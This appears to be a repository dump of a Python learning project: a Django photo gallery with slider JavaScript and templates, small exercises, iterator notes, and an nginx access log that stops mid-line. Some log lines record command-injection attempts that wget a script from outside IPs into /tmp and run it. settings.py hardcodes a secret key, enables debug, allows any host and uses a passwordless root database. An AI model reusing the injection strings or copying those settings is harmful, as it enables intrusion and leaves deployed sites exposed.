https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/fontawesome/fontawesome-webfont.eot -------------------------------------------------------------------------------- /django/webphoto/static/fonts/fontawesome/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/fontawesome/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /django/webphoto/static/fonts/fontawesome/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/fontawesome/fontawesome-webfont.woff -------------------------------------------------------------------------------- /django/webphoto/static/image/arrow-colored.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /django/webphoto/static/image/arrow-gray.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /django/webphoto/static/image/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/image/bg.jpg -------------------------------------------------------------------------------- /django/webphoto/static/image/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/image/favicon.ico -------------------------------------------------------------------------------- /django/webphoto/static/image/media.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/image/media.png -------------------------------------------------------------------------------- /django/webphoto/static/image/photo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/image/photo.gif -------------------------------------------------------------------------------- /django/webphoto/static/image/three-dots.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 8 | 12 | 13 | 14 | 18 | 22 | 23 | 24 | 28 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /django/webphoto/static/image/列表excel.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/image/列表excel.xlsx -------------------------------------------------------------------------------- /django/webphoto/static/js/main.js: -------------------------------------------------------------------------------- 1 | /** 2 | * main.js 3 | * http://www.codrops.com 4 | * 5 | * Licensed under the MIT license. 6 | * http://www.opensource.org/licenses/mit-license.php 7 | * 8 | * Copyright 2015, Codrops 9 | * http://www.codrops.com 10 | */ 11 | (function() { 12 | 13 | var bodyEl = document.body, 14 | docElem = window.document.documentElement, 15 | support = { transitions: Modernizr.csstransitions }, 16 | // transition end event name 17 | transEndEventNames = { 'WebkitTransition': 'webkitTransitionEnd', 'MozTransition': 'transitionend', 'OTransition': 'oTransitionEnd', 'msTransition': 'MSTransitionEnd', 'transition': 'transitionend' }, 18 | transEndEventName = transEndEventNames[ Modernizr.prefixed( 'transition' ) ], 19 | onEndTransition = function( el, callback ) { 20 | var onEndCallbackFn = function( ev ) { 21 | if( support.transitions ) { 22 | if( ev.target != this ) return; 23 | this.removeEventListener( transEndEventName, onEndCallbackFn ); 24 | } 25 | if( callback && typeof callback === 'function' ) { callback.call(this); } 26 | }; 27 | if( support.transitions ) { 28 | el.addEventListener( transEndEventName, onEndCallbackFn ); 29 | } 30 | else { 31 | onEndCallbackFn(); 32 | } 33 | }, 34 | slider = document.querySelector('.stack-slider'), 35 | stacksWrapper = slider.querySelector('.stacks-wrapper'), 36 | stacks = [].slice.call(stacksWrapper.children), 37 | imghero = document.querySelector('.hero__back--mover'), 38 | flkty, canOpen = true, canMoveHeroImage = true, 39 | isFirefox = typeof InstallTrigger !== 'undefined', 40 | win = { width: window.innerWidth, height: window.innerHeight }; 41 | 42 | function scrollY() { return window.pageYOffset || docElem.scrollTop; } 43 | 44 | // from http://www.sberry.me/articles/javascript-event-throttling-debouncing 45 | function throttle(fn, delay) { 46 | var allowSample = true; 47 | 48 | return function(e) { 49 | if (allowSample) { 50 | allowSample = false; 51 | setTimeout(function() { allowSample = true; }, delay); 52 | fn(e); 53 | } 54 | }; 55 | } 56 | 57 | function init() { 58 | flkty = new Flickity(stacksWrapper, { 59 | wrapAround: true, 60 | imagesLoaded: true, 61 | initialIndex: 0, 62 | setGallerySize: false, 63 | pageDots: false, 64 | prevNextButtons: false 65 | }); 66 | 67 | // loading images... 68 | imagesLoaded(stacksWrapper, function() { 69 | classie.add(bodyEl, 'view-init'); 70 | }); 71 | 72 | initEvents(); 73 | } 74 | 75 | function initEvents() { 76 | stacks.forEach(function(stack) { 77 | var titleEl = stack.querySelector('.stack-title'); 78 | 79 | // expand/close the stack 80 | titleEl.addEventListener('click', function(ev) { 81 | ev.preventDefault(); 82 | if( classie.has(stack, 'is-selected') ) { // current stack 83 | if( classie.has(bodyEl, 'view-full') ) { // stack is opened 84 | var closeStack = function() { 85 | classie.remove(bodyEl, 'move-items'); 86 | 87 | onEndTransition(slider, function() { 88 | classie.remove(bodyEl, 'view-full'); 89 | bodyEl.style.height = ''; 90 | flkty.bindDrag(); 91 | flkty.options.accessibility = true; 92 | canMoveHeroImage = true; 93 | }); 94 | }; 95 | 96 | // if the user scrolled down, let's first scroll all up before closing the stack. 97 | var scrolled = scrollY(); 98 | if( scrolled > 0 ) { 99 | smooth_scroll_to(isFirefox ? docElem : bodyEl || docElem, 0, 500).then(function() { 100 | closeStack(); 101 | }); 102 | } 103 | else { 104 | closeStack(); 105 | } 106 | } 107 | else if( canOpen ) { // stack is closed 108 | canMoveHeroImage = false; 109 | classie.add(bodyEl, 'view-full'); 110 | setTimeout(function() { classie.add(bodyEl, 'move-items'); }, 25); 111 | bodyEl.style.height = stack.offsetHeight + 'px'; 112 | flkty.unbindDrag(); 113 | flkty.options.accessibility = false; 114 | } 115 | } 116 | else if( classie.has(stack, 'stack-prev') ) { 117 | flkty.previous(true); 118 | } 119 | else if( classie.has(stack, 'stack-next') ) { 120 | flkty.next(true); 121 | } 122 | }); 123 | 124 | titleEl.addEventListener('mouseenter', function(ev) { 125 | if( classie.has(stack, 'is-selected') ) { 126 | canMoveHeroImage = false; 127 | imghero.style.WebkitTransform = 'perspective(1000px) translate3d(0,0,0) rotate3d(1,1,1,0deg)'; 128 | imghero.style.transform = 'perspective(1000px) translate3d(0,0,0) rotate3d(1,1,1,0deg)'; 129 | } 130 | }); 131 | 132 | titleEl.addEventListener('mouseleave', function(ev) { 133 | // if current stack and it's not opened.. 134 | if( classie.has(stack, 'is-selected') && !classie.has(bodyEl, 'view-full') ) { 135 | canMoveHeroImage = true; 136 | } 137 | }); 138 | }); 139 | 140 | window.addEventListener('mousemove', throttle(function(ev) { 141 | if( !canMoveHeroImage ) return false; 142 | var xVal = -1/(win.height/2)*ev.clientY + 1, 143 | yVal = 1/(win.width/2)*ev.clientX - 1, 144 | transX = 20/(win.width)*ev.clientX - 10, 145 | transY = 20/(win.height)*ev.clientY - 10, 146 | transZ = 100/(win.height)*ev.clientY - 50; 147 | 148 | imghero.style.WebkitTransform = 'perspective(1000px) translate3d(' + transX + 'px,' + transY + 'px,' + transZ + 'px) rotate3d(' + xVal + ',' + yVal + ',0,2deg)'; 149 | imghero.style.transform = 'perspective(1000px) translate3d(' + transX + 'px,' + transY + 'px,' + transZ + 'px) rotate3d(' + xVal + ',' + yVal + ',0,2deg)'; 150 | }, 100)); 151 | 152 | // window resize 153 | window.addEventListener( 'resize', throttle(function(ev) { 154 | // recalculate window width/height 155 | win = { width: window.innerWidth, height: window.innerHeight }; 156 | // reset body height if stack is opened 157 | if( classie.has(bodyEl, 'view-full') ) { // stack is opened 158 | bodyEl.style.height = stacks[flkty.selectedIndex].offsetHeight + 'px'; 159 | } 160 | }, 50)); 161 | 162 | // Flickity events: 163 | flkty.on('cellSelect', function() { 164 | canOpen = false; 165 | classie.remove(bodyEl, 'item-clickable'); 166 | 167 | var prevStack = stacksWrapper.querySelector('.stack-prev'), 168 | nextStack = stacksWrapper.querySelector('.stack-next'), 169 | selidx = flkty.selectedIndex, 170 | cellsCount = flkty.cells.length, 171 | previdx = selidx > 0 ? selidx - 1 : cellsCount - 1; 172 | nextidx = selidx < cellsCount - 1 ? selidx + 1 : 0; 173 | 174 | if( prevStack ) { 175 | classie.remove(prevStack, 'stack-prev'); 176 | } 177 | if( nextStack ) { 178 | classie.remove(nextStack, 'stack-next'); 179 | } 180 | 181 | classie.add(stacks[previdx], 'stack-prev'); 182 | classie.add(stacks[nextidx], 'stack-next'); 183 | 184 | }); 185 | 186 | flkty.on('dragStart', function() { 187 | canOpen = false; 188 | classie.remove(bodyEl, 'item-clickable'); 189 | }); 190 | 191 | flkty.on('settle', function() { 192 | classie.add(bodyEl, 'item-clickable'); 193 | canOpen = true; 194 | }); 195 | } 196 | 197 | init(); 198 | 199 | })(); -------------------------------------------------------------------------------- /django/webphoto/static/js/modernizr.custom.js: -------------------------------------------------------------------------------- 1 | /* Modernizr 2.8.3 (Custom Build) | MIT & BSD 2 | * Build: http://modernizr.com/download/#-csstransitions-shiv-cssclasses-prefixed-testprop-testallprops-domprefixes-load 3 | */ 4 | ;window.Modernizr=function(a,b,c){function x(a){j.cssText=a}function y(a,b){return x(prefixes.join(a+";")+(b||""))}function z(a,b){return typeof a===b}function A(a,b){return!!~(""+a).indexOf(b)}function B(a,b){for(var d in a){var e=a[d];if(!A(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function C(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:z(f,"function")?f.bind(d||b):f}return!1}function D(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+n.join(d+" ")+d).split(" ");return z(b,"string")||z(b,"undefined")?B(e,b):(e=(a+" "+o.join(d+" ")+d).split(" "),C(e,b,c))}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k,l={}.toString,m="Webkit Moz O ms",n=m.split(" "),o=m.toLowerCase().split(" "),p={},q={},r={},s=[],t=s.slice,u,v={}.hasOwnProperty,w;!z(v,"undefined")&&!z(v.call,"undefined")?w=function(a,b){return v.call(a,b)}:w=function(a,b){return b in a&&z(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=t.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(t.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(t.call(arguments)))};return e}),p.csstransitions=function(){return D("transition")};for(var E in p)w(p,E)&&(u=E.toLowerCase(),e[u]=p[E](),s.push((e[u]?"":"no-")+u));return e.addTest=function(a,b){if(typeof a=="object")for(var d in a)w(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},x(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._domPrefixes=o,e._cssomPrefixes=n,e.testProp=function(a){return B([a])},e.testAllProps=D,e.prefixed=function(a,b,c){return b?D(a,b,c):D(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+s.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f= end) { return 1; } 32 | var x = (point - start) / (end - start); // interpolation 33 | return x*x*(3 - 2*x); 34 | } 35 | 36 | return new Promise(function(resolve, reject) { 37 | // This is to keep track of where the element's scrollTop is 38 | // supposed to be, based on what we're doing 39 | var previous_top = element.scrollTop; 40 | 41 | // This is like a think function from a game loop 42 | var scroll_frame = function() { 43 | if(element.scrollTop != previous_top) { 44 | reject("interrupted"); 45 | return; 46 | } 47 | 48 | // set the scrollTop for this frame 49 | var now = Date.now(); 50 | var point = smooth_step(start_time, end_time, now); 51 | var frameTop = Math.round(start_top + (distance * point)); 52 | element.scrollTop = frameTop; 53 | 54 | // check if we're done! 55 | if(now >= end_time) { 56 | resolve(); 57 | return; 58 | } 59 | 60 | // If we were supposed to scroll but didn't, then we 61 | // probably hit the limit, so consider it done; not 62 | // interrupted. 63 | if(element.scrollTop === previous_top 64 | && element.scrollTop !== frameTop) { 65 | resolve(); 66 | return; 67 | } 68 | previous_top = element.scrollTop; 69 | 70 | // schedule next frame for execution 71 | setTimeout(scroll_frame, 0); 72 | } 73 | 74 | // boostrap the animation process 75 | setTimeout(scroll_frame, 0); 76 | }); 77 | } -------------------------------------------------------------------------------- /django/webphoto/templates/aside.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /django/webphoto/templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {% include 'head.html' %} 4 | 5 | 6 | {% block aside %}{% endblock %} 7 | {% block content %}{% endblock %} 8 | {% block footer %}{% endblock %} 9 | 10 | {% block scripts %} 11 | 12 | 13 | 14 | {% endblock %} 15 | 16 | -------------------------------------------------------------------------------- /django/webphoto/templates/head.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 个人作品展示 - Timy's Photography 6 | 7 | 8 | 9 | 10 | 11 | 18 | 19 | Loader image 20 | 21 | -------------------------------------------------------------------------------- /django/webphoto/templates/photo_list.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block aside %} 3 | {% include 'aside.html' %} 4 | {% endblock %} 5 | {% block content %} 6 |
7 |
8 | {% for groupname, photos in object_list.items %} 9 |
10 |

{{ groupname }} 11 |

12 | {% if photos %} 13 | {% for photo in photos %} 14 |
15 |
16 | {{ photo.img_title }} 17 |

{{ photo.img_title }} {{ photo.create_time }} 19 |

20 |
21 |
    22 |
  • 23 | 24 | {{ photo.img_context }} 25 |
  • 26 | 30 |
  • 31 | 32 | {% for tag in photo.img_tags.all %} 33 | {{ tag }} 34 | {% endfor %} 35 |
  • 36 |
37 |
38 |
39 |
40 | {% endfor %} 41 | {% else %} 42 |
43 |

这个相册没有图片

44 |
45 | {% endif %} 46 |
47 | 48 | {% endfor %} 49 |
50 | 51 |
52 | {% endblock %} -------------------------------------------------------------------------------- /django/webphoto/webphoto/__init__.py: -------------------------------------------------------------------------------- 1 | import pymysql 2 | pymysql.install_as_MySQLdb() -------------------------------------------------------------------------------- /django/webphoto/webphoto/__pycache__/__init__.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/webphoto/__pycache__/__init__.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/webphoto/__pycache__/settings.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/webphoto/__pycache__/settings.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/webphoto/__pycache__/urls.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/webphoto/__pycache__/urls.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/webphoto/__pycache__/wsgi.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/webphoto/__pycache__/wsgi.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/webphoto/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for webphoto project. 3 | 4 | Generated by 'django-admin startproject' using Django 1.11. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/1.11/ref/settings/ 11 | """ 12 | 13 | import os 14 | 15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = 'kiz)v(-8%m(4s4&+!s$*e%y0@-zcv7kndm=jhz4(&#$op4zdsq' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = ['*'] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | 41 | 'show', 42 | ] 43 | 44 | MIDDLEWARE = [ 45 | 'django.middleware.security.SecurityMiddleware', 46 | 'django.contrib.sessions.middleware.SessionMiddleware', 47 | 'django.middleware.common.CommonMiddleware', 48 | 'django.middleware.csrf.CsrfViewMiddleware', 49 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 50 | 'django.contrib.messages.middleware.MessageMiddleware', 51 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 52 | ] 53 | 54 | ROOT_URLCONF = 'webphoto.urls' 55 | 56 | TEMPLATES = [ 57 | { 58 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 59 | 'DIRS': [ 60 | os.path.join(BASE_DIR, "templates") 61 | ], 62 | 'APP_DIRS': True, 63 | 'OPTIONS': { 64 | 'context_processors': [ 65 | 'django.template.context_processors.debug', 66 | 'django.template.context_processors.request', 67 | 'django.contrib.auth.context_processors.auth', 68 | 'django.contrib.messages.context_processors.messages', 69 | ], 70 | }, 71 | }, 72 | ] 73 | 74 | WSGI_APPLICATION = 'webphoto.wsgi.application' 75 | 76 | 77 | # Database 78 | # https://docs.djangoproject.com/en/1.11/ref/settings/#databases 79 | 80 | DATABASES = { 81 | 'default': { 82 | 'ENGINE': 'django.db.backends.mysql', 83 | 'NAME': '51reboot2018', 84 | 'USER': 'root', 85 | 'PASSWORD': '', 86 | 'HOST': '127.0.0.1', 87 | 'PORT': '3306', 88 | } 89 | } 90 | 91 | 92 | # Password validation 93 | # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators 94 | 95 | AUTH_PASSWORD_VALIDATORS = [ 96 | { 97 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 98 | }, 99 | { 100 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 101 | }, 102 | { 103 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 104 | }, 105 | { 106 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 107 | }, 108 | ] 109 | 110 | 111 | # Internationalization 112 | # https://docs.djangoproject.com/en/1.11/topics/i18n/ 113 | 114 | LANGUAGE_CODE = 'zh-Hans' 115 | 116 | TIME_ZONE = 'Asia/Shanghai' 117 | 118 | USE_I18N = True 119 | 120 | USE_L10N = True 121 | 122 | USE_TZ = True 123 | 124 | 125 | # Static files (CSS, JavaScript, Images) 126 | # https://docs.djangoproject.com/en/1.11/howto/static-files/ 127 | 128 | STATIC_URL = '/static/' 129 | STATICFILES_DIRS = [ 130 | os.path.join(BASE_DIR, "static"), 131 | ] 132 | 133 | MEDIA_ROOT = os.path.join(BASE_DIR, 'data', 'upload') 134 | MEDIA_URL = '/data/upload/' 135 | -------------------------------------------------------------------------------- /django/webphoto/webphoto/urls.py: -------------------------------------------------------------------------------- 1 | """webphoto URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/1.11/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.conf.urls import url, include 14 | 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) 15 | """ 16 | from django.conf.urls import url 17 | from django.contrib import admin 18 | 19 | 20 | from django.conf import settings 21 | from django.conf.urls.static import static 22 | from show.views import PhotoListView 23 | 24 | 25 | # https://docs.djangoproject.com/en/1.11/ref/urls/ 26 | urlpatterns = [ 27 | url(r'^admin/', admin.site.urls), 28 | url(r'^$', PhotoListView.as_view()), 29 | ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) 30 | -------------------------------------------------------------------------------- /django/webphoto/webphoto/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for webphoto project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "webphoto.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /ftp/README.md: -------------------------------------------------------------------------------- 1 | ## Simple ftp server. 2 | 3 | ``` 4 | $ alias ftp="python -m http.server" 5 | $ python -m http.server 6 | ``` 7 | -------------------------------------------------------------------------------- /interview_questions/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /interview_questions/list/main.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | ''' 4 | 字符串处理 5 | 字符串按空格为分隔符进行位置变动 6 | ''' 7 | def reverseString(s): 8 | s_list = s.split() 9 | s_list.reverse() 10 | return ' '.join(s_list) 11 | 12 | 13 | ''' 14 | 字符串处理 15 | 通过传递的字符串和位置,进行位置变动; 16 | ''' 17 | def shiftNum(s, n): 18 | kg = s.count(' ') 19 | idx = n % (kg + 1) 20 | 21 | s_list = s.split() 22 | res_list = s_list[idx:] + s_list[:idx] 23 | return ' '.join(res_list) 24 | 25 | 26 | def main(): 27 | s = 'hello i love beijing' 28 | s1 = reverseString(s) 29 | print(s1) 30 | 31 | res = shiftNum(s, 4) 32 | print(res) 33 | 34 | 35 | if __name__ == '__main__': 36 | main() -------------------------------------------------------------------------------- /iter/README.md: -------------------------------------------------------------------------------- 1 | # 可迭代对象、迭代器、生成器 2 | 3 | - 容器 container 4 | - 可迭代对象 iterable 5 | - 迭代器 iterator 6 | - 生成器 generator 7 | 8 | 9 | 10 | ## 容器 11 | > 容器中的元素可以逐个地迭代获取,可以用in, not in关键字判断元素是否包含在容器中。 12 | 13 | > str/ list/ tupe/ dict/ set都是容器对象 14 | 15 | ``` 16 | 以字符串为示例 17 | >>> s = '12345' 18 | >>> '12' in s 19 | >>> '126' in s 20 | >>> for x in s:print(x) 21 | ``` 22 | 23 | 24 | ## 可迭代对象 25 | > 凡是可以返回一个迭代器的对象都可称之为可迭代对象. 26 | 27 | > str/ list/ tuple/ 28 | 29 | ``` 30 | >>> s = '123' 31 | >>> s_iter = iter(s) 32 | >>> s_iter 33 | 34 | >>> next(s_iter) 35 | 1 36 | >>> next(s_iter) 37 | 2 38 | >>> next(s_iter) 39 | 3 40 | >>> next(s_iter) 41 | --------------------------------------------------------------------------- 42 | StopIteration Traceback (most recent call last) 43 | in () 44 | ----> 1 next(s_iter) 45 | 46 | StopIteration: 47 | ``` -------------------------------------------------------------------------------- /nginxlog/access.log: -------------------------------------------------------------------------------- 1 | 92.17.180.198 - - [29/Aug/2018:03:40:42 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-" 2 | 197.42.145.85 - - [29/Aug/2018:04:13:36 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 173 "-" "LMAO/2.0" "-" 3 | 58.65.163.189 - - [29/Aug/2018:04:14:39 +0800] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 173 "-" "-" "-" 4 | 196.52.43.114 - - [29/Aug/2018:04:44:34 +0800] "GET / HTTP/1.0" 200 62462 "-" "Mozilla/5.0(WindowsNT6.1;rv:31.0)Gecko/20100101Firefox/31.0" "-" 5 | 176.14.171.231 - - [29/Aug/2018:04:59:11 +0800] "GET / HTTP/1.1" 302 219 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1" "-" 6 | 176.14.171.231 - - [29/Aug/2018:04:59:17 +0800] "GET /login HTTP/1.1" 200 41320 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1" "-" 7 | 93.174.93.136 - - [29/Aug/2018:05:02:33 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 12040 "-" "Mozilla" "-" 8 | 183.80.117.128 - - [29/Aug/2018:05:03:58 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-" 9 | 31.162.131.72 - - [29/Aug/2018:05:15:39 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Shinka/1.0" "-" 10 | 167.114.122.149 - - [29/Aug/2018:05:23:45 +0800] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 173 "-" "-" "-" 11 | 89.135.111.64 - - [29/Aug/2018:05:26:27 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-" 12 | 80.82.70.187 - - [29/Aug/2018:05:30:36 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 12040 "-" "Mozilla" "-" 13 | 172.82.166.210 - - [29/Aug/2018:05:52:50 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 